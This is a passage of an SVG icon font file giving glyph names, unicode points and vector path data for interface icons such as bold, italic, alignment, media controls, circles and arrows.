d="M512 304v-288c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h88l12.2998 32.9004c7 18.6992 24.9004 31.0996 44.9004 31.0996h125.5c20 0 37.8994 -12.4004 44.8994 -31.0996l12.4004 -32.9004h88c26.5 0 48 -21.5 48 -48zM376 160
c0 66.2002 -53.7998 120 -120 120s-120 -53.7998 -120 -120s53.7998 -120 120 -120s120 53.7998 120 120zM344 160c0 -48.5 -39.5 -88 -88 -88s-88 39.5 -88 88s39.5 88 88 88s88 -39.5 88 -88z" />
    <glyph glyph-name="font" unicode="&#xf031;" horiz-adv-x="448" 
d="M432 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-128c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h19.5801l-23.2998 64h-152.561l-23.2998 -64h19.5801c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-128c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h23.4102l130.71 362.31c4.07422 11.9736 17.6465 21.6904 30.2939 21.6904h0.00585938h47.1602h0.00585938c12.6475 0 26.2197 -9.7168 30.2939 -21.6904
l130.71 -362.31h23.4102zM176.85 176h94.3008l-47.1504 129.49z" />
    <glyph glyph-name="bold" unicode="&#xf032;" horiz-adv-x="384" 
d="M333.49 210c34.4395 -27.54 55.5693 -71.1504 50.8301 -119.6c-6.86035 -70.6504 -70.2002 -122.4 -141 -122.4h-209.32c-8.83203 0 -16 7.16797 -16 16v48c0 8.83203 7.16797 16 16 16h31.8701v288h-31.8701c-8.83203 0 -16 7.16797 -16 16v48
c0 8.83203 7.16797 16 16 16h199.42c74.5801 0 134.45 -64.4902 127.07 -140.79c-2.01367 -20.25 -14.1094 -49.4639 -27 -65.21zM145.66 336v-96h87.7598c26.4961 0 48 21.5039 48 48s-21.5039 48 -48 48h-87.7598zM233.42 48c30.9121 0 56 25.0879 56 56
s-25.0879 56 -56 56h-87.7598v-112h87.7598z" />
    <glyph glyph-name="italic" unicode="&#xf033;" horiz-adv-x="320" 
d="M320 400v-32c0 -8.83203 -7.16797 -16 -16 -16h-62.7598l-80 -320h46.7598c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-192c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h62.7598l80 320h-46.7598
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h192c8.83203 0 16 -7.16797 16 -16z" />
    <glyph glyph-name="text-height" unicode="&#xf034;" horiz-adv-x="576" 
d="M304 416c8.83203 0 16 -7.16797 16 -16v-96c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v32h-56v-304h40c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-160c-8.83203 0 -16 7.16797 -16 16v32
c0 8.83203 7.16797 16 16 16h40v304h-56v-32c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v96c0 8.83203 7.16797 16 16 16h288zM560 80c15.6396 0 20.6396 -18 11.3096 -27.3096l-80 -80c-2.58594 -2.58496 -7.65332 -4.68262 -11.3096 -4.68262
s-8.72363 2.09766 -11.3096 4.68262l-80 80c-10.0107 10 -3 27.3096 11.3096 27.3096h48v224h-48c-15.6396 0 -20.6396 18 -11.3096 27.3096l80 80c2.58594 2.58496 7.65332 4.68262 11.3096 4.68262s8.72363 -2.09766 11.3096 -4.68262l80 -80
c10.0205 -10 3 -27.3096 -11.3096 -27.3096h-48v-224h48z" />
    <glyph glyph-name="text-width" unicode="&#xf035;" horiz-adv-x="448" 
d="M432 416c8.83203 0 16 -7.16797 16 -16v-80c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v16h-120v-112h24c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-128c-8.83203 0 -16 7.16797 -16 16v32
c0 8.83203 7.16797 16 16 16h24v112h-120v-16c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v80c0 8.83203 7.16797 16 16 16h416zM363.31 155.31l80 -80c2.58496 -2.58594 4.68262 -7.65332 4.68262 -11.3096s-2.09766 -8.72363 -4.68262 -11.3096
l-80 -80c-10 -10.0205 -27.3096 -3 -27.3096 11.3096v48h-224v-48c0 -15.6396 -18 -20.6396 -27.3096 -11.3096l-80 80c-2.58496 2.58594 -4.68262 7.65332 -4.68262 11.3096s2.09766 8.72363 4.68262 11.3096l80 80c10 10.0107 27.3096 3 27.3096 -11.3096v-48h224v48
c0 15.6396 18 20.6396 27.3096 11.3096z" />
    <glyph glyph-name="align-left" unicode="&#xf036;" horiz-adv-x="448" 
d="M12.8301 96c-7.07715 0 -12.8301 5.74316 -12.8301 12.8203v0.00976562v38.3398v0.00976562c0 7.07715 5.74316 12.8203 12.8203 12.8203h0.00976562h262.34h0.00976562c7.07715 0 12.8203 -5.74316 12.8203 -12.8203v-0.00976562v-38.3398v-0.00976562
c0 -7.07715 -5.74316 -12.8203 -12.8203 -12.8203h-0.00976562h-262.34zM12.8301 352c-7.07715 0 -12.8301 5.74316 -12.8301 12.8203v0.00976562v38.3398v0.00976562c0 7.07715 5.74316 12.8203 12.8203 12.8203h0.00976562h262.34h0.00976562
c7.07715 0 12.8203 -5.74316 12.8203 -12.8203v-0.00976562v-38.3398v-0.00976562c0 -7.07715 -5.74316 -12.8203 -12.8203 -12.8203h-0.00976562h-262.34zM432 288c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16
v32c0 8.83203 7.16797 16 16 16h416zM432 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h416z" />
    <glyph glyph-name="align-center" unicode="&#xf037;" horiz-adv-x="448" 
d="M432 288c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h416zM432 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16
v32c0 8.83203 7.16797 16 16 16h416zM108.1 352c-6.67871 0 -12.0996 5.4209 -12.0996 12.0996v39.8105c0 6.67383 5.41602 12.0898 12.0898 12.0898h0.00976562h231.811c6.67383 0 12.0898 -5.41602 12.0898 -12.0898v-39.8105v-0.00976562
c0 -6.67383 -5.41602 -12.0898 -12.0898 -12.0898v0h-231.811zM339.91 96h-231.811c-6.67871 0 -12.0996 5.4209 -12.0996 12.0996v39.8105c0 6.67383 5.41602 12.0898 12.0898 12.0898h0.00976562h231.811c6.67383 0 12.0898 -5.41602 12.0898 -12.0898v-39.8105
v-0.00976562c0 -6.67383 -5.41602 -12.0898 -12.0898 -12.0898v0z" />
    <glyph glyph-name="align-right" unicode="&#xf038;" horiz-adv-x="448" 
d="M16 224c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h416c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416zM432 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16
v32c0 8.83203 7.16797 16 16 16h416zM435.17 416c7.07715 0 12.8301 -5.74316 12.8301 -12.8203v-0.00976562v-38.3398v-0.00976562c0 -7.07715 -5.74316 -12.8203 -12.8203 -12.8203h-0.00976562h-262.34h-0.00976562c-7.07715 0 -12.8203 5.74316 -12.8203 12.8203
v0.00976562v38.3398v0.00976562c0 7.07715 5.74316 12.8203 12.8203 12.8203h0.00976562h262.34zM435.17 160c7.07715 0 12.8301 -5.74316 12.8301 -12.8203v-0.00976562v-38.3398v-0.00976562c0 -7.07715 -5.74316 -12.8203 -12.8203 -12.8203h-0.00976562h-262.34
h-0.00976562c-7.07715 0 -12.8203 5.74316 -12.8203 12.8203v0.00976562v38.3398v0.00976562c0 7.07715 5.74316 12.8203 12.8203 12.8203h0.00976562h262.34z" />
    <glyph glyph-name="align-justify" unicode="&#xf039;" horiz-adv-x="448" 
d="M432 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h416zM432 160c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16
v32c0 8.83203 7.16797 16 16 16h416zM432 288c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h416zM432 416c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16
h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h416z" />
    <glyph glyph-name="list" unicode="&#xf03a;" 
d="M80 80c8.83203 0 16 -7.16797 16 -16v-64c0 -8.83203 -7.16797 -16 -16 -16h-64c-8.83203 0 -16 7.16797 -16 16v64c0 8.83203 7.16797 16 16 16h64zM80 400c8.83203 0 16 -7.16797 16 -16v-64c0 -8.83203 -7.16797 -16 -16 -16h-64c-8.83203 0 -16 7.16797 -16 16v64
c0 8.83203 7.16797 16 16 16h64zM80 240c8.83203 0 16 -7.16797 16 -16v-64c0 -8.83203 -7.16797 -16 -16 -16h-64c-8.83203 0 -16 7.16797 -16 16v64c0 8.83203 7.16797 16 16 16h64zM496 64c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-320
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h320zM496 384c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-320c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h320zM496 224c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-320c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h320z" />
    <glyph glyph-name="outdent" unicode="&#xf03b;" horiz-adv-x="448" 
d="M100.69 84.71l-96 95.9805c-2.58496 2.58594 -4.68262 7.65332 -4.68262 11.3096s2.09766 8.72363 4.68262 11.3096l96 96c9.97949 10 27.3096 3.01074 27.3096 -11.3096v-191.98c0 -14.2393 -17.3096 -21.3096 -27.3096 -11.3096zM432 32c8.83203 0 16 -7.16797 16 -16
v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h416zM435.17 160c7.07715 0 12.8301 -5.74316 12.8301 -12.8203v-0.00976562v-38.3398v-0.00976562c0 -7.07715 -5.74316 -12.8203 -12.8203 -12.8203h-0.00976562
h-230.34h-0.00976562c-7.07715 0 -12.8203 5.74316 -12.8203 12.8203v0.00976562v38.3398v0.00976562c0 7.07715 5.74316 12.8203 12.8203 12.8203h0.00976562h230.34zM435.17 288c7.07715 0 12.8301 -5.74316 12.8301 -12.8203v-0.00976562v-38.3398v-0.00976562
c0 -7.07715 -5.74316 -12.8203 -12.8203 -12.8203h-0.00976562h-230.34h-0.00976562c-7.07715 0 -12.8203 5.74316 -12.8203 12.8203v0.00976562v38.3398v0.00976562c0 7.07715 5.74316 12.8203 12.8203 12.8203h0.00976562h230.34zM432 416c8.83203 0 16 -7.16797 16 -16
v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h416z" />
    <glyph glyph-name="indent" unicode="&#xf03c;" horiz-adv-x="448" 
d="M27.3096 84.7002c-9.97949 -10 -27.3096 -3.00977 -27.3096 11.2998v192c0 14.2197 17.2695 21.3398 27.3096 11.3203l96 -96c2.58496 -2.58691 4.68262 -7.65332 4.68262 -11.3105c0 -3.65625 -2.09766 -8.72363 -4.68262 -11.3096zM432 32
c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h416zM435.17 160c7.07715 0 12.8301 -5.74316 12.8301 -12.8203v-0.00976562v-38.3398v-0.00976562
c0 -7.07715 -5.74316 -12.8203 -12.8203 -12.8203h-0.00976562h-230.34h-0.00976562c-7.07715 0 -12.8203 5.74316 -12.8203 12.8203v0.00976562v38.3398v0.00976562c0 7.07715 5.74316 12.8203 12.8203 12.8203h0.00976562h230.34zM435.17 288
c7.07715 0 12.8301 -5.74316 12.8301 -12.8203v-0.00976562v-38.3398v-0.00976562c0 -7.07715 -5.74316 -12.8203 -12.8203 -12.8203h-0.00976562h-230.34h-0.00976562c-7.07715 0 -12.8203 5.74316 -12.8203 12.8203v0.00976562v38.3398v0.00976562
c0 7.07715 5.74316 12.8203 12.8203 12.8203h0.00976562h230.34zM432 416c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h416z" />
    <glyph glyph-name="video" unicode="&#xf03d;" horiz-adv-x="576" 
d="M336.2 384c26.3994 0 47.7998 -21.4004 47.7998 -47.7998v-288.4c0 -26.3994 -21.4004 -47.7998 -47.7998 -47.7998h-288.4c-26.3994 0 -47.7998 21.4004 -47.7998 47.7998v288.4c0 26.3994 21.4004 47.7998 47.7998 47.7998h288.4zM525.6 346.3
c21.3008 14.6006 50.4004 -0.399414 50.4004 -25.7998v-256.9c0 -25.5 -29.2002 -40.3994 -50.4004 -25.7998l-109.6 75.5v157.4z" />
    <glyph glyph-name="image" unicode="&#xf03e;" 
d="M464 0h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h416c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48zM112 328c-30.9277 0 -56 -25.0723 -56 -56s25.0723 -56 56 -56s56 25.0723 56 56s-25.0723 56 -56 56zM64 64h384
v112l-87.5146 87.5146c-4.68652 4.68652 -12.2842 4.68652 -16.9717 0l-135.514 -135.515l-55.5146 55.5146c-4.68652 4.68652 -12.2842 4.68652 -16.9717 0l-71.5137 -71.5146v-48z" />
    <glyph glyph-name="map-marker" unicode="&#xf041;" horiz-adv-x="384" 
d="M172.268 -53.6699c-145.298 210.639 -172.268 232.257 -172.268 309.67c0 106.039 85.9609 192 192 192s192 -85.9609 192 -192c0 -77.4131 -26.9697 -99.0312 -172.268 -309.67c-9.53516 -13.7744 -29.9307 -13.7734 -39.4648 0z" />
    <glyph glyph-name="adjust" unicode="&#xf042;" 
d="M8 192c0 136.967 111.034 248 248 248s248 -111.034 248 -248s-111.033 -248 -248 -248s-248 111.034 -248 248zM256 8c101.689 0 184 82.2949 184 184c0 101.689 -82.2949 184 -184 184v-368z" />
    <glyph glyph-name="tint" unicode="&#xf043;" horiz-adv-x="352" 
d="M205.22 425.91c46.9902 -158.48 146.78 -200.07 146.78 -311.82c0 -98.4395 -78.7197 -178.09 -176 -178.09s-176 79.6504 -176 178.09c0 111.19 100.01 154.061 146.78 311.82c9 30.1201 50.5 28.7803 58.4395 0zM176 0c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16
c-44.1104 0 -80 35.8896 -80 80c0 8.83984 -7.16016 16 -16 16s-16 -7.16016 -16 -16c0 -61.75 50.25 -112 112 -112z" />
    <glyph glyph-name="edit" unicode="&#xf044;" horiz-adv-x="576" 
d="M402.6 364.8l90.2002 -90.2002c3.7998 -3.7998 3.7998 -10 0 -13.7998l-218.399 -218.399l-92.8008 -10.3008c-12.3994 -1.39941 -22.8994 9.10059 -21.5 21.5l10.3008 92.8008l218.399 218.399c3.7998 3.7998 10 3.7998 13.7998 0zM564.6 387.7
c15.2002 -15.2002 15.2002 -39.9004 0 -55.2002l-35.3994 -35.4004c-3.7998 -3.7998 -10 -3.7998 -13.7998 0l-90.2002 90.2002c-3.7998 3.7998 -3.7998 10 0 13.7998l35.3994 35.4004c15.3008 15.2002 40 15.2002 55.2002 0zM384 101.8c0 3.2002 1.2998 6.2002 3.5 8.5
l40 40c7.59961 7.5 20.5 2.2002 20.5 -8.5v-157.8c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h285.8c10.7002 0 16.1006 -12.9004 8.5 -20.5l-40 -40c-2.2998 -2.2002 -5.2998 -3.5 -8.5 -3.5h-229.8v-320h320v101.8z" />
    <glyph glyph-name="step-backward" unicode="&#xf048;" horiz-adv-x="448" 
d="M64 -20v424c0 6.59961 5.40039 12 12 12h48c6.59961 0 12 -5.40039 12 -12v-176.4l195.5 181c20.5996 17.1006 52.5 2.80078 52.5 -24.5996v-384c0 -27.4004 -31.9004 -41.7002 -52.5 -24.5996l-195.5 179.899v-175.3c0 -6.59961 -5.40039 -12 -12 -12h-48
c-6.59961 0 -12 5.40039 -12 12z" />
    <glyph glyph-name="fast-backward" unicode="&#xf049;" 
d="M0 12v360c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-151.9l171.5 156.5c20.5996 17.1006 52.5 2.80078 52.5 -24.5996v-131.9l171.5 156.5c20.5996 17.1006 52.5 2.80078 52.5 -24.5996v-320c0 -27.4004 -31.9004 -41.7002 -52.5 -24.5996
l-171.5 155.3v-130.7c0 -27.4004 -31.9004 -41.7002 -52.5 -24.5996l-171.5 155.3v-150.7c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12z" />
    <glyph glyph-name="backward" unicode="&#xf04a;" 
d="M11.5 167.4c-15.2998 12.7998 -15.2998 36.3994 0 49.1992l192 160c20.5996 17.2002 52.5 2.80078 52.5 -24.5996v-320c0 -27.4004 -31.9004 -41.7998 -52.5 -24.5996zM267.5 167.4c-15.2998 12.7998 -15.2998 36.3994 0 49.1992l192 160
c20.5996 17.2002 52.5 2.80078 52.5 -24.5996v-320c0 -27.4004 -31.9004 -41.7998 -52.5 -24.5996z" />
    <glyph glyph-name="play" unicode="&#xf04b;" horiz-adv-x="448" 
d="M424.4 233.3c31.5 -18.5 31.3994 -64.0996 0 -82.5996l-352 -208c-31.7002 -18.7998 -72.4004 3.7998 -72.4004 41.2998v416.1c0 41.8008 43.7998 58.2002 72.4004 41.3008z" />
    <glyph glyph-name="pause" unicode="&#xf04c;" horiz-adv-x="448" 
d="M144 -31h-96c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48zM448 17c0 -26.5 -21.5 -48 -48 -48h-96c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48 -21.5 48 -48v-352z" />
    <glyph glyph-name="stop" unicode="&#xf04d;" horiz-adv-x="448" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352z" />
    <glyph glyph-name="forward" unicode="&#xf04e;" 
d="M500.5 216.6c15.2998 -12.7998 15.2998 -36.3994 0 -49.1992l-192 -160c-20.5996 -17.2002 -52.5 -2.80078 -52.5 24.5996v320c0 27.4004 31.9004 41.7002 52.5 24.5996zM244.5 216.6c15.2998 -12.7998 15.2998 -36.3994 0 -49.1992l-192 -160
c-20.5996 -17.2002 -52.5 -2.80078 -52.5 24.5996v320c0 27.4004 31.9004 41.7002 52.5 24.5996z" />
    <glyph glyph-name="fast-forward" unicode="&#xf050;" 
d="M512 372v-360c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v151.9l-171.5 -156.5c-20.5996 -17.2002 -52.5 -2.80078 -52.5 24.5996v131.9l-171.5 -156.5c-20.5996 -17.2002 -52.5 -2.80078 -52.5 24.5996v320
c0 27.4004 31.9004 41.7002 52.5 24.5996l171.5 -155.399v130.8c0 27.4004 31.9004 41.7002 52.5 24.5996l171.5 -155.399v150.8c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12z" />
    <glyph glyph-name="step-forward" unicode="&#xf051;" horiz-adv-x="448" 
d="M384 404v-424c0 -6.59961 -5.40039 -12 -12 -12h-48c-6.59961 0 -12 5.40039 -12 12v176.4l-195.5 -181c-20.5996 -17.1006 -52.5 -2.80078 -52.5 24.5996v384c0 27.4004 31.9004 41.7002 52.5 24.5996l195.5 -179.899v175.3c0 6.59961 5.40039 12 12 12h48
c6.59961 0 12 -5.40039 12 -12z" />
    <glyph glyph-name="eject" unicode="&#xf052;" horiz-adv-x="448" 
d="M448 64v-64c0 -17.6729 -14.3271 -32 -32 -32h-384c-17.6729 0 -32 14.3271 -32 32v64c0 17.6729 14.3271 32 32 32h384c17.6729 0 32 -14.3271 32 -32zM48.0527 128c-41.7285 0 -63.5273 49.7324 -35.3828 80.4346l175.946 192.008
c19.0156 20.7432 51.7529 20.7422 70.7666 0l175.939 -192.008c28.1973 -30.7607 6.26758 -80.4346 -35.3828 -80.4346h-351.887z" />
    <glyph glyph-name="chevron-left" unicode="&#xf053;" horiz-adv-x="320" 
d="M34.5195 208.97l194.351 194.34c9.37012 9.37012 24.5703 9.37012 33.9395 0l22.6709 -22.6699c9.35938 -9.35938 9.36914 -24.5195 0.0390625 -33.8994l-154.029 -154.74l154.02 -154.75c9.33984 -9.37988 9.32031 -24.54 -0.0400391 -33.9004l-22.6699 -22.6699
c-9.37012 -9.37012 -24.5693 -9.37012 -33.9395 0l-194.341 194.351c-9.36914 9.37012 -9.36914 24.5693 0 33.9395z" />
    <glyph glyph-name="chevron-right" unicode="&#xf054;" horiz-adv-x="320" 
d="M285.476 175.029l-194.344 -194.344c-9.37305 -9.37207 -24.5684 -9.37207 -33.9404 0l-22.667 22.667c-9.35742 9.35742 -9.375 24.5225 -0.0400391 33.9014l154.021 154.746l-154.021 154.745c-9.33496 9.37891 -9.31738 24.5439 0.0400391 33.9014l22.667 22.667
c9.37305 9.37207 24.5684 9.37207 33.9404 0l194.343 -194.344c9.37305 -9.37207 9.37305 -24.5674 0.000976562 -33.9404z" />
    <glyph glyph-name="plus-circle" unicode="&#xf055;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM400 164v56c0 6.59961 -5.40039 12 -12 12h-92v92c0 6.59961 -5.40039 12 -12 12h-56c-6.59961 0 -12 -5.40039 -12 -12v-92h-92c-6.59961 0 -12 -5.40039 -12 -12v-56
c0 -6.59961 5.40039 -12 12 -12h92v-92c0 -6.59961 5.40039 -12 12 -12h56c6.59961 0 12 5.40039 12 12v92h92c6.59961 0 12 5.40039 12 12z" />
    <glyph glyph-name="minus-circle" unicode="&#xf056;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM124 152h264c6.59961 0 12 5.40039 12 12v56c0 6.59961 -5.40039 12 -12 12h-264c-6.59961 0 -12 -5.40039 -12 -12v-56c0 -6.59961 5.40039 -12 12 -12z" />
    <glyph glyph-name="times-circle" unicode="&#xf057;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM377.6 126.9l-65.5996 65.0996l65.7002 65c4.7002 4.7002 4.7002 12.2998 0 17l-39.6006 39.5996c-4.69922 4.7002 -12.2998 4.7002 -17 0l-65.0996 -65.5996l-65 65.7002
c-4.7002 4.7002 -12.2998 4.7002 -17 0l-39.5996 -39.6006c-4.7002 -4.69922 -4.7002 -12.2998 0 -17l65.5996 -65.0996l-65.5996 -65c-4.7002 -4.7002 -4.7002 -12.2998 0 -17l39.5 -39.5996c4.69922 -4.7002 12.2998 -4.7002 17 0l65.0996 65.5996l65 -65.5996
c4.7002 -4.7002 12.2998 -4.7002 17 0l39.5996 39.5c4.7002 4.69922 4.7002 12.2998 0 17z" />
    <glyph glyph-name="check-circle" unicode="&#xf058;" 
d="M504 192c0 -136.967 -111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248s248 -111.033 248 -248zM227.314 60.6855l184 184c6.24707 6.24805 6.24707 16.3799 0 22.6279l-22.6279 22.627c-6.24707 6.24902 -16.3789 6.24902 -22.6279 0
l-150.059 -150.059l-70.0586 70.0596c-6.24805 6.24805 -16.3799 6.24805 -22.6279 0l-22.6279 -22.627c-6.24707 -6.24805 -6.24707 -16.3799 0 -22.6279l104 -104c6.24902 -6.24805 16.3799 -6.24805 22.6289 -0.000976562z" />
    <glyph glyph-name="question-circle" unicode="&#xf059;" 
d="M504 192c0 -136.997 -111.043 -248 -248 -248s-248 111.003 -248 248c0 136.917 111.043 248 248 248s248 -111.083 248 -248zM262.655 358c-54.4971 0 -89.2549 -22.957 -116.549 -63.7578c-3.53613 -5.28613 -2.35352 -12.415 2.71484 -16.2578l34.6982 -26.3105
c5.20508 -3.94727 12.6211 -3.00781 16.665 2.12207c17.8643 22.6582 30.1133 35.7969 57.3037 35.7969c20.4287 0 45.6973 -13.1475 45.6973 -32.958c0 -14.9756 -12.3623 -22.667 -32.5332 -33.9756c-23.5244 -13.1875 -54.6523 -29.6006 -54.6523 -70.6592v-4
c0 -6.62695 5.37305 -12 12 -12h56c6.62695 0 12 5.37305 12 12v1.33301c0 28.4619 83.1855 29.6475 83.1855 106.667c0 58.002 -60.1641 102 -116.53 102zM256 110c-25.3652 0 -46 -20.6348 -46 -46c0 -25.3643 20.6348 -46 46 -46s46 20.6357 46 46
c0 25.3652 -20.6348 46 -46 46z" />
    <glyph glyph-name="info-circle" unicode="&#xf05a;" 
d="M256 440c136.957 0 248 -111.083 248 -248c0 -136.997 -111.043 -248 -248 -248s-248 111.003 -248 248c0 136.917 111.043 248 248 248zM256 330c-23.1963 0 -42 -18.8037 -42 -42s18.8037 -42 42 -42s42 18.8037 42 42s-18.8037 42 -42 42zM312 76v24
c0 6.62695 -5.37305 12 -12 12h-12v100c0 6.62695 -5.37305 12 -12 12h-64c-6.62695 0 -12 -5.37305 -12 -12v-24c0 -6.62695 5.37305 -12 12 -12h12v-64h-12c-6.62695 0 -12 -5.37305 -12 -12v-24c0 -6.62695 5.37305 -12 12 -12h88c6.62695 0 12 5.37305 12 12z" />
    <glyph glyph-name="crosshairs" unicode="&#xf05b;" 
d="M500 224c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-30.3643c-13.9121 -93.6748 -87.9609 -167.724 -181.636 -181.636v-30.3643c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v30.3643
c-93.6748 13.9121 -167.724 87.9609 -181.636 181.636h-30.3643c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h30.3643c13.9121 93.6748 87.9609 167.724 181.636 181.636v30.3643c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-30.3643
c93.6748 -13.9121 167.724 -87.9609 181.636 -181.636h30.3643zM288 43.3662c58.2432 12.417 104.232 58.46 116.634 116.634h-40.6338c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40.6338c-12.417 58.2432 -58.46 104.232 -116.634 116.634v-40.6338
c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40.6338c-58.2432 -12.417 -104.232 -58.46 -116.634 -116.634h40.6338c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-40.6338
c12.417 -58.2432 58.46 -104.232 116.634 -116.634v40.6338c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40.6338zM288 192c0 -17.6729 -14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32s32 -14.3271 32 -32z" />
    <glyph glyph-name="ban" unicode="&#xf05e;" 
d="M256 440c136.967 0 248 -111.034 248 -248s-111.034 -248 -248 -248s-248 111.033 -248 248s111.034 248 248 248zM386.108 322.108c-65.4121 65.4102 -165.435 70.0312 -235.639 20.6758l256.315 -256.313c49.3232 70.1562 44.7705 170.189 -20.6768 235.638z
M125.892 61.8916c65.4121 -65.4111 165.436 -70.0312 235.639 -20.6758l-256.315 256.313c-49.3232 -70.1562 -44.7705 -170.189 20.6768 -235.638z" />
    <glyph glyph-name="arrow-left" unicode="&#xf060;" horiz-adv-x="448" 
d="M257.5 2.90039l-22.2002 -22.2002c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-194.4 194.3c-9.40039 9.40039 -9.40039 24.5996 0 33.9004l194.4 194.399c9.39941 9.40039 24.5996 9.40039 33.8994 0l22.2002 -22.2002c9.5 -9.5 9.2998 -25 -0.400391 -34.2998
l-120.5 -114.8h287.4c13.2998 0 24 -10.7002 24 -24v-32c0 -13.2998 -10.7002 -24 -24 -24h-287.4l120.5 -114.8c9.80078 -9.2998 10 -24.7998 0.400391 -34.2998z" />
    <glyph glyph-name="arrow-right" unicode="&#xf061;" horiz-adv-x="448" 
